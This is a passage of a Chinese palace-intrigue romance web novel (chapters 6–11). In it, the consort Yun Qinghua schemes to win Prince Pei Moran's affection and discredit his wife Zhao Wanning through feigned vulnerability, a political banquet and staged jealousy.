正想着,烟青色的床帐外传来窸窸窣窣的响声。 他一瞥,只见纱帐外的娇小身影,身材凹凸玲珑。 云清婳正狠狠踩踏他的皂靴,嘴里小声嘟哝,“让你欺负我!让你欺负我!” 裴墨染的薄唇扬起一丝弧度,他本想呵斥,但又觉得让她解解气也无妨。 她胆子小,也只敢如此了。 第6章 假装梦魇,他温柔哄睡 从前,他一直以为自己很讨厌装模作样的千金贵女,可云清婳的种种行径,他却并不讨厌。 云清婳吹了榻边的灯,掀开床帐时,发觉一双桃花眼正灼灼的盯着自己。 啊—— 她惊呼一声,做贼似的心虚道:“王、王爷还没歇息?” “嗯。”裴墨染挑眉勾唇,戏谑的看着她。 似乎在说,方才你做的一切本王都看见了。 云清婳的脸颊泛红,规矩的从床尾爬上榻,钻进被褥后,留给他一个后脑勺。 被冷落了,裴墨染也不恼。 他阖上眼,十几息后正欲睡下,可身侧传来响动。 “不要,不……” “不……” 云清婳的嘴里含糊不清的说着什么,柳眉微蹙,眼角还有泪滑落。 裴墨染支起身子,蹙眉看着她。 她这是被梦魇着了。 婉宁手段太狠。 这两日终究给她带来了阴影。 他规律的轻拍她的背,低声道:“别怕……” “别怕……” 渐渐地,她的眉宇舒展,呼吸放缓。 裴墨染恐怕自己都没察觉到他此时的表情有多温柔。 他等她彻底睡熟,才重新躺下。 云清婳勾唇,笑容妖冶。 方才裴墨染没有直接叫醒她,说明他心疼了。 一个男人,心疼女人,这可是动心的前兆。 今晚,也不知飞霜的香会给狗男人造出什么样的梦。 少顷,裴墨染的呼吸急促起来,脸涨得通红。 梦中,云清婳主动宽衣解带,将他扑倒在榻上…… …… 翌日。 军廨有急报传来,亟待裴墨染处理。 乾风送来了银色虎纹盔甲。 裴墨染又一次感到身下不对,他草草沐浴后,穿着亵衣从浴室出来。 只见云清婳已然站在屏风旁等候。 他疑惑的看着她。 云清婳没有多言,冷着脸拿起中衣为他换上。 她很不齿这种“冷脸洗内裤”的行为! 但是,狗男人就吃这一套啊! 果然,裴墨染的脸上划过惊诧。 他从未被赵婉宁这样服侍过,赵婉宁平日甚至连行礼都不愿,更何况是更衣? 云清婳动作麻利,可到了扣腰带这一步却犯了难,她笨拙的试了半晌没有扣住。 “这样……”裴墨染带着她的手,将腰带传进孔中,然后使力扣住。 云清婳跟被火燎了般,匆匆抽回手,“恭送王爷。” 裴墨染有些难以接受。 明明在梦中,她是那么乖顺热情,可现实中却这样冷漠。 他没说什么,转身离去。 人走后,云清婳伸了个懒腰,“此事应该传去裴云澈那里了吧?” 飞霜颔首,“他的人一直盯着呢,恐怕嫉妒死了。” 云清婳妖冶一笑。 昨日才说为他守节的女人,今日就在别的男人身下婉转承恩。 自己的东西被旁人染指,还是一块垫脚石,裴云澈怎会不难受? …… 清心阁。 昨晚裴墨染留宿的消息一早就传到了赵婉宁耳中。 赵婉宁双眼气得猩红,她的手捏得咔咔作响,“王爷也真是的!就算为了安抚云清婳,也不必留宿吧?” 宝音端着刚熬好的药,送到她手边,“留宿也是守活寡罢了,您才是王爷心中唯一的妻子,否则王爷也不会交代您去与国公夫人交好。” “我就讨厌跟那些小女人虚与委蛇,王爷还非要派我去讨好她们。”赵婉宁瘪嘴抱怨。 “这是云清婳求也求不来的,您是王爷的左膀右臂,而她只是一个花瓶,王爷不会委以重任。”宝音殷勤的给她揉着肩膀。 赵婉宁眼中寒光乍现,“那我就给她这个恩赐。” 办得好,裴墨染自会嘉奖感谢她。 办的不好,她就把错处推给云清婳。 …… 清早,云清婳请安时便被赵婉宁邀请一齐去祝国公夫人的赏花宴。 云清婳自然不会拒绝。 这正是小说中男女主感情的升温点。 裴墨染在西北驻守多年,已然有了夺嫡的心思,可无奈在京城孤立无援。 正是姐姐凭借跟京城贵妇的交情,很快就帮裴墨染打开了门路,扶他青云直上。 祝国公府。 后花园。 一个雍容华贵的女子坐在凉亭下,她的身旁已然簇拥着多位王妃、皇子妃与命妇。 祝国公夫人何心意坐在主位上,拿着剪刀侍弄花草。 祝国公实力不弱,此次被召回京,当即成了众多皇子拉拢的对象。 至于他将最终投身于谁的阵营,他仍在观望。 而突破口,正是他青梅竹马,宠爱有加的发妻——何心意。 “见过国公夫人。”云清婳福身。 何心意冲她嫣然一笑,“肃王妃跟云妃来了,快坐。” “一点薄礼,还请国公夫人笑纳。”赵婉宁轻扬下巴,婢女捧上了一套金灿灿的头面。 何心意扫了一眼,嗓音慵懒道:“王妃客气了。” 赵婉宁何时被臣妇这样轻视过,她想要发作,可还是为了裴墨染忍下了。 剩下就是皇子妃之间的明争暗斗。 皇子妃赞美着何心意的容颜、发髻、珠宝,或是请她出门看戏、游湖,亦或是约着一同赏花、点茶。 而赵婉宁喜欢习武,她完全插不上话,甚至眼中透着深深的不屑。 显然看不上她们谄媚的嘴脸。 云清婳眼底闪过鄙夷。 人事即政治,这么简单的道理,赵婉宁都不懂。 她以为只要嫁给裴墨染,不做任何谋划,就能当上皇后? 果然,不依靠剧情,她就是个草包! 长袖善舞,曲意迎奉,正是云清婳的拿手好戏。 但是,她不能便宜了赵婉宁。 得让赵婉宁表现差,才能衬托出她的好。 “王妃,您也说两句啊。”云清婳站在赵婉宁身后,弯下腰,小声提醒。 宝音也有些着急,她连忙道:“王妃,您不是给国公夫人备了其他的礼吗?” 赵婉宁福至心灵。 她是想促成祝国公跟裴墨染的联盟的,她挤出笑,“国公夫人,听说您擅骑术,我府上正好有两匹瓦剌缴来的马,还请您笑纳。” 此话一出,整个后花园顿时鸦雀无声。 众人或是幸灾乐祸或是哑然的看着她。 云清婳险些笑出声。 真是一瞌睡就有人递枕头。 何心意的兄长,正是死于瓦剌人的马蹄之下,身躯被踏溅如泥浆! 赵婉宁怎么敢的? 何心意的脸抽搐了片刻,红润的脸蛋变得惨白。 “国公夫人……”有王妃想要劝慰。 可何心意瞬息收敛了表情,她轻笑,“肃王妃曾在边关打仗,想必剑术卓绝?我有些乏了,不如您来献舞一曲解解乏?” 第7章 撒娇,撞进他的怀里 赵婉宁的脸登时阴沉下去,把她当舞姬了是吗? 这可怪不得她! 是何心意先得寸进尺,给脸不要! “恕我身子不适,先行回府!”赵婉宁冷簌簌的转身离去。 何心意的眼神也逐渐阴冷。 其他王妃、皇子妃皆用看跳梁小丑的眼神看赵婉宁。 “小门小户,尽招人笑话,哪里比得上云妃?”一位王妃鄙夷道。 送礼前,都不调查了解主人家的喜好吗? 云清婳并没有离开,她静静的站在一旁。 此事,很快传去了军廨。 内堂中。 裴墨染伏案垂首,俊脸涨得通红,只觉得无地自容,无颜面对军中兄弟。 何副将是他的得力干将,惨死瓦剌人之手,死无全尸。 每每想起此事,他都心痛不已,夜不能寐。 婉宁居然一点政事都不知,说出那番风凉话! 如今好了,不仅得罪了祝国公,还伤了他在军中的威望。 军师诸葛贤面色难看,他长叹一声,拱手道:“王爷,王妃无心,只是军中将士未免寒心啊。” “诸葛先生,婉宁离开西北三年,并不知此事,都怪本王,逼她去迎奉国公夫人。”裴墨染声音都在颤抖。 他自然是怨的,但还是下意识保护她。 “为了稳住军心,还请王爷做出惩戒。”诸葛贤弯腰,深深行了一礼。 “唉……”裴墨染觉得无比心累。 …… 国公府。 赏花宴不欢而散。 皇子妃跟命妇先后离场。 她们不约而同地调笑赵婉宁方才的行径,发出嗤嗤的笑。 后花园唯独剩下了云清婳跟何心意。 二人目光相触,何心意脸上紧绷的线条霎时柔和下来,“蛮蛮。” “心意姐姐。”云清婳乖巧地扑进她的怀中。 何心意怜惜地揉着她的脑袋,“你表姐最放心不下的就是你。” 她是谢容音的挚友,挚友辞世,对云清婳自然多了不少爱怜。 “心意姐姐,我想……” 何心意的双眼幽深,仿佛洞悉一切,她缓缓颔首。 …… 只一个时辰,祝国公府便给裴墨染送去了拜帖。 这跟抛来橄榄枝无异。 京中各个势力皆第一时间洞悉此事,众人只觉得奇幻。 肃王妃不是开罪国公夫人了吗? 祝国公怎还愿与肃王府交好? 而赵婉宁也很快得知拜帖的事。 她心中的阴霾一扫而空,喜不自胜,“何心意定是觉得当众给我难堪,与我有愧,再加上祝国公慧眼识珠,本就有意归顺王爷,所以最后选了王爷!” “恭喜王妃!日后王爷会更加感激爱慕您的!”宝音连连福身,也为自家主子高兴。 “那是自然,王爷每次能逢凶化吉,都是多亏了我。”赵婉宁傲气地理了理发髻。 另一边,云清婳出了祝国公府。 飞霜问道:“主子可要回府?” “不,我们要快一步去认领功劳,免得被赵婉宁抢走。”云清婳的眼神晦暗不明。 …… 军廨午休时,云清婳戴着面纱,穿着一席浅紫色罗裙,娉娉袅袅地提着食盒站在门口。 冷了狗男人这么久,也该赏颗甜枣了。 男人堆里见了女子本就稀奇。 更何况是身姿如此曼妙的? 每每有妇人来送饭,将士总免不了一阵打趣。 十几个穿着铠甲的糙汉子,都躲在门后偷偷打量云清婳。 几个副将见了衙下的马车上插了四王府图腾的旗帜,当即知晓了云清婳的身份。 少年争前恐后地奔走去廨中,“嫂夫人来了!” “嫂夫人来了!” 此时,裴墨染正激动地捏着拜帖,手不由自主地颤抖,“呵……诸葛先生你看,是清婳做的!她巧舌如簧,劝勉赵国公跟本王联手,终有一日攻破瓦剌,为何将军报仇。” 诸葛贤捋着胡子颔首,眼中添了几分满意之色,“云妃不愧是相府嫡女,机敏过人。” “王爷,嫂夫人来了。”少年的笑掺杂着几分打趣。 裴墨染的脸阴沉下去,“婉宁?” 提起她,他就来气。 “不,是云妃。” 笑容重新浮现在俊俏的脸上,裴墨染收起拜帖,他快步出门,嘴里斥道:“不早说!” 军廨门外,只见云清婳无所适从的低头站着。 因为一帮男人正好奇的打量她。 裴墨染的脸由晴转阴,当即跟母鸡护崽似的挡在云清婳身前,他威严道:“都这么闲,就滚去校场操练到子时!” 几个副将哀哀的哼唧了一声,便整齐的朝着校场跑去。 云清婳扑哧笑出了声。 裴墨染看着她嫣然的笑,心头一阵悸动,他低咳了咳,不自知的放缓了语气,“怎么来了?” 他想着,云清婳应该是来邀功的。 女人不可干政。 但她就算是来求赏的,他也认了。 “想着王爷没回府,妾身特来送些吃食。”她的声音轻柔。 裴墨染的心中划过一道暖流。 婉宁从未给他送过饭。 裴墨染发觉还有不知死活的士兵在偷看云清婳。 他不由分说,拉着她的手,大步将她往公堂带去。 云清婳的腿实在不如他的长,被他扯得差点飞起。 到了屋里,裴墨染一止步,她顺着惯性直挺挺撞进了他的怀里。 裴墨染闻到了一股馨香,梦中好像也是这股味道。 这让他心脏怦然。 她连忙后退,正色解释:“王爷,我不是故意的。” “本王知道。”他无奈道。 云清婳松了口气,将几盘点心摆上桌。 如今她立了功,裴墨染如今看她就满心欢喜,但不想表现出来。 他敛着喜色,“本王正好饿了,你来就为了送点心?仅此而已?” 她唇瓣微张,欲言又止,“……嗯。” 裴墨染就想看她憋着难受的模样。 他故意不搭话,自顾自吃起了点心。 对于她的示好,他很受用。 云清婳在心里吐槽:狗男人,我帮了你这么大一个忙,你就忍心看我吃瘪? 没良心啊。 但她不能主动讨赏,封建男人绝不喜欢干政的女人。 她在裴墨染面前,得是一朵不谙世事的小白花! “其实还是有件事相求的。”她声若蚊呐。 裴墨染抬眼,不准备逗她了,“说吧。” “明日,您可不可以陪妾身回门?”她看起来很纠结,似乎觉得自己提出了很过分的要求。 然后又加了一句,“夫君……” 声音清甜,婉转娇气。 第8章 赵婉宁被训斥 今早还冷着脸,现在却如此撒娇。 这绝对是示好! 裴墨染的脑袋里仿佛炸开了一朵烟火,这声娇啼像是一条小蛇钻进了他的心里,痒痒的,想抓却抓不到。 他再也绷不住,嘴角明显上扬,可还死要面子,“本王得看看明日军廨中可有政务。” 她怯怯地伸出手,试探性地摇晃他的胳膊,“只占用夫君一点时间。” 他飘飘然,但还是操着勉为其难的语气:“好吧。” 云清婳笑容灿烂,她坐在他身侧,吃起了糕点,她早就饿了。 裴墨染看出来了,她并不知道自己帮了他多大的忙。 否则也不会因为邀他回门,毫无底气,畏畏缩缩。 回过神时,他惊讶地发现,一盘糕点都被她吃完。 他戏谑道:“本王记得,京城贵女的规矩,不是应该菜不过三箸,点心不过两粒吗?这就是第一贵女的做派?” 他用新婚夜,云清婳的原话促狭她。 云清婳眉心一拧,从盘中捏了一块糕点,蛮狠地塞进他嘴里。“您慢慢吃吧。” 裴墨染不责怪她的无礼,他嚼了两口,脸色突变,连忙倒了杯茶水大口喝下,才将糕点顺下去。 什么破糕点? 齁咸! 她扑哧笑喷了。 “你故意做的?”虽是问句,但裴墨染的语气无比笃定。 她忍笑。 他看着她欠欠的表情就来气,轻捏着她的脸,“本王早就看出,你是个表里不一的!京城第一贵女徒有虚名。” “君子论心不论迹。”她振振有词,笑得张扬。 “你……” 忽地,门被敲响。 云清婳立即起身,规矩地站在一旁,跟方才判若两人。 “进。”裴墨染冷下脸。 诸葛贤推门而入,送来一份文书,他问候:“侧妃体贴,亲自给王爷送饭。” “妾身方才伺候夫君用膳,听夫君说身边有一神算子,得幸见先生,果然颇具仙风道骨。”云清婳福身。 诸葛贤神机妙算的名声在外,想不认识都难。 “侧妃谬赞。”诸葛贤笑容可掬,眼神满是欣赏。 “瞧先生走路,您的腿脚似乎有虞……”她面露关心。 诸葛贤叹了声,“多年的老毛病了,每逢刮风下雨就异常疼痛,王爷寻了许多药方都难以治愈。” 她道:“家兄倒是认识一位神医,或许他有办法。” “那便多谢王妃了。”仅仅是几句对话,就让诸葛贤对她另眼相看。 裴墨染看着云清婳人前装模作样,就想发笑。 她何时伺候他用膳了?吃得比他还多。 他轻咳一声,“方才王妃将一盘桂花糕全吃了,可够?” 诸葛贤一愣,“……” 云清婳小脸一红,娇憨地瞪他。 见她吃瘪,他心情大好,嗤嗤的笑了。 “妾身告退。”她恼羞成怒般的离开。 她就是要露出破绽,让裴墨染觉得自己探得了她的秘密。 这样会让他产生他们亲密无间的错觉。 裴墨染想要留她,可想到什么,还是噤了声。 …… 飞霜扶着云清婳上马车,她抱怨道:“王爷果然宠爱赵婉宁,亏您花了这么多心思,他居然也不挽留。” “爱吗?裴墨染从来没得到过爱,他怎么可能知道什么爱?”云清婳轻蔑地摇摇头。 “什么意思?”飞霜挠了挠后脑勺。 云清婳耐心道:“皇后、赵婉宁对他好,是因为有利可图。他根本没被真正爱过,当初跟赵婉宁相恋,多半也是掺杂了感激跟出生入死的情谊。要说爱,他最爱他自己。” 飞霜似懂非懂。 “这对你来说超纲了,你不必明白。”她撑着脑袋,有些疲惫,“给表哥的信,可还在送?” “每日都送,都被宝音看了去。”飞霜坏笑。 她嗯了声,缓缓阖上眼。 …… 黄昏时,裴墨染一回王府,径自去了清心阁。 赵婉宁已然备好了一桌晚宴,化了精美的妆等候在桌前。 裴墨染看着赵婉宁含笑的脸,心中不快,淡淡道:“用膳吧。” “王爷不应该褒奖一番我?”她的眉眼弯弯,等待着他的称赞。 他蹙眉,“嗯?” 赵婉宁有些疑惑他的反应,她清了清喉咙,“今日我在国公府赔笑,这才换来了一份拜帖啊。” “这也多亏了王爷英明神武,让赵国公心悦诚服。”宝音觉得自家主子说话有些不敬,连忙补充。 裴墨染的下颔线紧绷,脸上透着山雨欲来的诡谲。 她换来的拜帖? 呵。 若不是祝国公在拜帖上写得一清二楚,他真会以为是她的功劳! 她知不知,今日她差点害得他万劫不复? 他砰的砸桌,赵婉宁始料不及,吓得一颤。 裴墨染将今日的真相说了出来。 赵婉宁瞳孔地震,难以置信的倒吸了口凉气。 风头居然被云清婳抢去了! 这个贱人,真会藏拙啊。 赵婉宁的眼眶泛红,似乎受伤了,可还是强势的质问:“所以王爷在怪我?对云清婳另眼相看?” 裴墨染吐出一口浊气,遏制住了胸中怒火,他单手抚上她的肩头,“怎会?本王对她,仅仅是为了权术。” 赵婉宁顺势倒在他的怀中,“日后我会多学多看,我不是故意在国公夫人伤口上撒盐的。” “本王知道。”他又恢复曾经的温柔,“婉宁,如今祝国公已经愿与本王合作,本王还需要子嗣。” 赵婉宁从他的怀中离开,她的眼瞳飘忽躲闪,“我的月事还没走呢。” 他凝眉,草草用完膳便离开了。 人走后,赵婉宁的后槽牙磨得硌吱硌吱响。“贱人!我真是小瞧她了!” 宝音的眼珠子滴溜溜一转,“王妃,奴婢这几日每天都撞到云清婳身边的飞霜偷偷摸摸的送信出去。” 她的眼睛一亮,“哦?” “奴婢跟踪过几次,发现飞霜狡猾得很,每次都会绕路去江府。听说江府的江培玉跟云清婳是表兄妹,感情甚笃。”宝音的表情鄙夷。 赵婉宁轻斥,“你怎么不早说?” 宝音委屈的低下头,“奴婢还没有证据,不敢胡言。” “他们二人定有龌龊!这些大家闺秀最看重男女大防,怎会成亲后还有牵扯?”赵婉宁的手攥成了拳。 第9章 一声夫君,把他钓成翘嘴 “可是没有证据,我们也不能把他们怎么样。”宝音的语气稍有遗憾。 赵婉宁的嘴角扬起,“凡事只要做过,必会留下痕迹,我们不必做什么……” …… 玄音阁。 云清婳曲腿斜倚在贵妃榻上,她捏着针线漫不经心地绣着荷包。 飞霜拿着玉石小棍戳了些药膏涂在她的颈上的伤处,“为何要绣荷包?” “赵婉宁知道我今日立了功,必想报复于我,我自然得帮她一把。”她的眼中蕴出几分狡黠。 门外忽地安静。 飞霜叹了口气,“王妃下手真狠,若是留疤了该怎么办?” “留疤便留疤了,女为悦己者容,府上也无人看我。”她的话有几分苦涩。 门外的裴墨染看她自怨自艾的模样,心中有种别样的感觉。 果然,云清婳内心也是渴望被爱的。 只要她一直安分下去,他未尝不能给她些关怀。 尽管不想承认,可这场婚姻,牺牲的终究只有她。 “咳咳……”他轻咳了咳,走到她面前。 大昭民风开放,女子并不用裹足。 裴墨染看到榻上她露出的肉绵绵的脚丫,脚趾尖泛着浅粉,如同白玉一般圆润,白得晃眼,他感到口渴,喉结上下滚了滚。 裴墨染努力错开眼,可还是忍不住想看,“回门礼本王已经让管家备好,绝不会让你丢了颜面。” “多谢夫君。”她感受到灼热的目光,羞臊地用薄毯盖住了脚,坐正了身子。 这声夫君真悦耳! 婉宁从未这么唤过他。 裴墨染拉过檀木凳,坐在她对面,视线落在她手中将将绣好的荷包上。 上面有一对蝴蝶振翅。 绣工算不得好,看得出是急赶出来的,针脚不齐。 荷包是墨绿色,颜色有些老气,绝对不适合女子佩戴。 “绣得真丑。”他的语气嫌弃,可眼中泛着光,分明是欣喜的。 云清婳掀起眼皮瞅了他一眼。 只觉得他有病! 她都没招他,他冷不丁过来嘴贱什么? “又不是给您的。”她声音软绵绵的,却带着反抗。 “好,不是给本王的。”他颔首,表示知道了。 云清婳感觉一拳打在棉花上,普信男,好气人。 夜深,云清婳沐浴回寝房,见裴墨染还没有走。 她嘟着嘴,“已经很晚了。” 言下之意就是,你该走了! 裴墨染从她的表情里看出了嫌弃。 他也是天之骄子,怎能一再忍受她的拒绝? 这个女人究竟有没有自觉?既然已经嫁给他了,居然不稀罕他的宠爱? 这像话吗? 他甩袖,哐啷一声重重摔了门,带着下人离开。 飞霜咋舌,“他也就敢在您面前横!” “这就生气了?明日还有更气的。”云清婳只觉得可笑。 …… 翌日一早。 云清婳赶去王府门口时,看见了裴墨染、赵婉宁并肩携手而立在马车旁。 二人的关系显然已经缓和。 她今日梳了隆重的朝云髻,发间插了一对金打的步摇跟一只岫玉梳篦,婷婷袅袅,摇曳生姿,她穿着一身浅紫色撒花流云罗裙,腰下坠着一对羊脂玉佩环,端庄明媚中不失娇俏。 唯一美中不足的便是脖子上缠了条丝巾,这是为了遮住伤口的。 裴墨染的目光不由自主被她吸引,他神色恍然,似乎看到了画中仙。 而云清婳望着对面的二人,眼圈一红,看起来脆弱而伤怀。 裴墨染下意识松开赵婉宁的手,他上前解释,“清婳,婉宁额外给你备了一车回门礼,她有意与你缓和关系。” 他知道赵婉宁想要“陪”云清婳回门,此举很是荒唐! 她这是在变相的下马威,会让云家不悦。 对云清婳更是不公平。 可婉宁难得低头,他拒绝不了。 “多谢王妃。”她有礼的福福身。 赵婉宁善解人意道:“我明白回门对女子的重要性,云妹妹大可放心,我就站在最后,不会打扰你们。” “王妃说的是什么话?您才是王爷的妻子。”云清婳的脸色很难看,说出这番话似乎用尽全身的力气。 裴墨染看着云清婳如此懂事,心里升起一丝愧疚 赵婉宁得意地挑眉,冲她露出挑衅的目光。 上马车时,裴墨染殷勤地伸出手,想要扶云清婳。 可云清婳把手递给了飞霜,并不搭理他。 这让他心里莫名不悦。 果然! 又生气了。 云清婳规矩地坐在下首的座位上,缄默不语,内心却笑开了花。 她要的就是裴墨染的愧疚! 赵婉宁这个蠢货,不会真觉得自己赢了吧? 她就是要裴墨染对她常觉亏欠! 到了丞相府。 不仅是云家上下,就连堂亲表亲也都来了。 云丞相跟云夫人看到马车上下来的赵婉宁时,脸当即垮了。 直到裴墨染扶着云清婳下车,他们的脸色才有好转,“看到王爷如此体贴,老臣就放心了。” 话是这么说,可全家人都埋怨地看着他。 “爹娘、哥哥,夫君待我极好。”云清婳挤出笑。 云夫人忍不住发问:“怎么戴了丝巾?” “最近着了凉,有些咳嗽。”云清婳说着,假装咳了几声。 裴墨染心里的愧疚又大了些。 他现在无比后悔答应赵婉宁的请求,她实在太不懂事了! 众人都知道这是假话,但既然云清婳不说,他们也不再追问。 回门宴上,赵婉宁并没有作妖,而是当真按照约定规规矩矩的一言不发。 众人都众星捧月般围着裴墨染、云清婳。 只是,裴墨染感觉云家人看他的眼神很瘆人,让他冷不丁寒颤。 “清婳,你多吃些。”裴墨染贴心的给云清婳夹了块鱼。 他是听云夫人说她喜欢吃鱼才夹的。 “多谢夫君。”她的笑容标准。 “蛮蛮,娘亲给你炖了汤,你留着肚子啊。”云夫人跟她说话,像在对待小孩子。 几个哥哥也争先恐后的给她夹菜,“蛮蛮,多吃些,你都瘦了。” “你嫂嫂三更就起床给你做了枣泥糕,你带回府上吃。” “蛮蛮,我昨日给你捉了只松鼠,头上有黑毛,好看的紧。” 云清婳蹙眉,“二哥,我早就不喜欢松鼠了,你别捉了。” “你别生气啊,不捉就不捉了。”云家二公子立马认怂。 看着他们一家人嬉笑怒骂,裴墨染心中升起了别样的感觉。 他从来没体会过这样真挚纯粹的亲情。 云清婳,真让人羡慕。 “你乳名叫蛮蛮,为何不说与本王?”他在她耳畔轻声问。 难怪所有人都不悦的看他,原来早就看出他们是演的,根本不亲近。 “您也没问啊。”云清婳理直气壮。 第10章 主动的吻 他被一噎,无言以对。 用完膳,裴墨染便陪着云丞相下象棋。 说是下象棋,可二人口中却在含沙射影讲着朝政大事。 云清婳远远地跟江培玉对视,她找了个借口,便出了花厅。 赵婉宁心下一喜,过了几息,她走到裴墨染的身侧,“王爷,我想回府,您送送我吧?” 云丞相以及几位公子的脸顿时沉了。 裴墨染气闷,谈话正在关键节点上。 她怎么一点人情世故都不懂,连最基本的察言观色都不会? 居然上前直接打断男人说话! 云清婳就不会如此没有分寸。 “王爷有事,便先忙吧。”云丞相脸上的笑失去了温度。 裴墨染无奈,他起身去送赵婉宁。 经过长廊,赵婉宁指着拱圈门后的花园。 “王爷,云妹妹好像在花园,我跟她说一声吧。”赵婉宁边说边往花园的方向走。 裴墨染的耐心即将告罄,他无奈地跟着。 才走到圆拱门,裴墨染看到里面的景象就被怔住了。 云清婳递给了一位玉面公子一枚深绿色的荷包。 正是她昨天绣的! 玉面公子将荷包揣进怀中,从袖中掏出一盒胭脂送她。 “谢谢表哥。”云清婳仰起头,笑容夺目,天真无邪。 看样子是发自内心的高兴。 在他面前,她从未露出如此笑靥。 裴墨染不愿多想,但前几日的一幕幕如同泄了闸的洪水喷涌而出。 难怪她如此抗拒他留宿! 难怪她不在乎脖子上留不留疤! 难怪她从不争宠! “王爷,云妹妹跟表兄关系真好啊。”赵婉宁感慨。 她知道,男人最接受不了自己的女人被他人染指。 哪怕没有证据,只要在他心里埋下怀疑的种子,这种念头就会生根发芽。 裴墨染冷下脸,手捏得咔咔作响。 “王爷,你不会误会了吧?”赵婉宁脸上的笑意淡去,“虽说送荷包、胭脂不妥帖,但云妹妹应是不敢的。” “……”一股戾气铺天盖地席卷而来,他甩袖而去。 …… 回程的马车里只剩裴墨染跟云清婳。 比起来时,云清婳的心绪明显好了很多,她灵动地悄悄掀开小窗,孩子气地东瞧西看。 裴墨染看着她心情这么好,更是来气。 见了江培玉,就这么开心? “荷包呢?”他阴恻恻地问。 云清婳哼了一声,“您不是不喜欢吗?问这个做什么?” 裴墨染胸腔中的火气猛地窜起来,他猝不及防地捏着她的下巴,身躯粗鲁地一撞,将她死死抵在马车的角落。 他俯首,菲薄的唇堵住她粉嫩的唇瓣撕咬起来。 裴墨染粗鲁地掠夺她的呼吸,让她吃痛,没有一丝感情,只有欲望在发泄。 “唔……唔……”云清婳的眸子蓄了水,泛着粉红,她捏紧粉拳胡乱砸着他的胸口。 他跟疯了似的,又咬又啃。 窒息感临头浇下,云清婳都快要昏厥时,他感受到她脸上的热泪,终于放开了她。 啪—— 云清婳抬手,狠狠甩了他一巴掌。 裴墨染因为震惊,愣住了。 她居然敢打他? 上挑的桃花眼怒海翻涌,他只要轻轻一使劲,就能把面前小人儿的颈子折断。 云清婳的眼泪像是断了线的珠子,黛眉蹙起,双眼愤怒又惊惧,“王爷!您把我当什么了?您既然喜欢王妃,为何要招惹我?” “我也是个人,我不是解闷的玩意儿!” 裴墨染的左脸滚烫发烧,这巴掌不疼,但足够屈辱。 他跳下马车,心乱如麻。 方才,他是疯了吗? 居然吻了云清婳。 人走后,云清婳瞬间止住了泪。 她就是要反反复复试探,折磨他,逼疯他。 这样,他才会意识到,他动心了。 至于赵婉宁,很快就会被收拾! …… 裴墨染并未回府,而是去了军廨。 一连半个月都不曾回王府。 他不想考虑云清婳的事情,心烦! 玄音阁。 飞霜给云清婳揉着腿,“怎么办?王爷不回府了,您是不是玩过火了?” 云清婳捻着一颗葡萄吃,神色魅惑,“该急的不是我们。” 想必,皇后那边已经在催促了。 而军廨的确收到了翊坤宫的来信。 信上无非是催他早早回府,绵延子嗣。 如今各个皇子都子嗣单薄。 皇上更是看重香火绵延。 裴云澈府上虽然姬妾成群,可内斗严重,子嗣没一个留下来的,所以皇后只好把希望放到了裴墨染身上。 “臣斗胆问一句,侧妃回门之日,王爷就久居军廨,可是回门之日生了不快?”诸葛贤紧张地问。 裴墨染没好气道:“先生既然知道,何必多问?” “王爷迎娶侧妃,本就是为了巩固势力,侧妃为人机敏端正,就算心有龃龉,也不敢妄为,您何必劳心劳神,感情用事?”诸葛贤劝道。 裴墨染眉心拧得更紧,“你的意思是,本王对她动情了?” 这是重点? “臣何时说过?”诸葛贤摊手耸肩,一脸无辜。 反正每天心不在焉的不是他,每天听到有人送饭就往门外偷瞄的也不是他。 “诸葛先生,她在你面前装模作样了下,你就帮她了?真是糊涂!”裴墨染斥了一句,可还是放下笔,戴上了佩剑。 他准备回府了。 诸葛贤觉得还是有必要澄清,“老夫不是帮她。” 裴墨染脸上的郁气一扫而空,眉宇舒展开来。 或许诸葛先生说得对,云清婳就算有贼心也没贼胆! 那天,兴许是他误会了。 但云清婳就没错吗? 他亲她,她就敢动手打他? 还把荷包送给江培玉! 思及此,裴墨染的脚步轻快许多,很快就策马离去。 裴墨染回府后,率先按规矩去清心阁陪赵婉宁用膳。 赵婉宁不安的问:“王爷,这些日子,您为何没回府?” 她现在很是矛盾,她虽然想让裴墨染厌弃云清婳,可又不希望他是为了云清婳怄气这么久。 裴墨染心中茫然,沉默片刻才道:“军廨事务太多。” “王爷,有的时候,我真怀念咱们在西北的日子,没有这么多尔虞我诈,只有我们二人……”赵婉宁回忆起往事,脸上的傲色都淡了不少。 第11章 他何时咬过她? “婉宁,你才是本王的发妻,你是不同的。”裴墨染脸上的戾气也褪去几分,但他想到什么,又沉下脸,“京城不比西北,绝不能踏错一步,日后你要更加谨慎,不能再惹祸了。” “知道了。”她敷衍地说。 裴墨染顿感心累,一看就知道赵婉宁在敷衍他,根本没有把他的话放在心上。 可又有什么办法呢? 在边关他们一起出生入死,她甚至为他挡过箭,他不能苛责太多。 …… 玄音阁。 云清婳也收到了裴墨染回府的消息。 “主子真是料事如神!王爷真的回来了,只可惜一回来就去找了赵婉宁。”飞霜惋惜道。 云清婳并不着急。 毕竟是裴墨染在战场上的生死之交、救命恩人,哪有这么容易剔除? “醋了半个月,好不容易劝服自己原谅我,他肯定会来。”她的双眼在烛火的映衬下炯炯有神。 当然,她并不认为裴墨染吃醋就是喜欢她。 这只是男人的占有欲发作罢了。 飞霜问道:“可要打扮一番?” 云清婳摇头,她换上绸白亵衣,将披散在脑后的青丝梳理得顺滑服帖。“熄灯吧。” “是。”婢女纷纷退下。 整个玄音阁的烛火层层暗下。 裴墨染才走到玄音阁外,便看见庭院的灯火规律地由里及外层层熄灭。 这明显是故意的! 他示意婢女噤声,缓缓踏进门内。 裴墨染五官深邃,眉飞入鬓,或许是常年在沙场上染上了煞气,不笑时总给人一种阴狠之感。 他一步步踏进殿中,静默地看着房内的一切。 “主子,您这样不好吧?王爷好不容易回来一趟。”飞霜纠结地劝道。 云清婳叉着腰,肉绵绵的脚丫踩在贵妃榻上,脚背白得晃眼。“哼!臭飞霜,我是你主子,他是你主子?” “回门那天,他都没问我,就带上了王妃。这不是在打云家的脸吗?之后他还莫名其妙地发脾气,凶我、咬我!” 飞霜担心地问:“啊?王爷咬您哪里了?可要上药?” “……”云清婳羞赧地低下头。 门外,裴墨染的耳根子也泛了薄红。 他本来还奇怪,他何时咬过她? 后面才想起,确实咬了。 咬了她的唇。 她的唇好软,气味也是香甜的…… 裴墨染在心里长叹,回门那日的确是他欠了云清婳。 都是婉宁胡闹,下次,他绝不会纵容婉宁了。 贵妃榻上铺垫的绸缎太滑,云清婳一个没站稳,脚下一滑,娇软的身躯眼看着就要往后摔去。 “啊……” 她认命般闭紧双眼,可想象中跌倒的痛感没有传来。 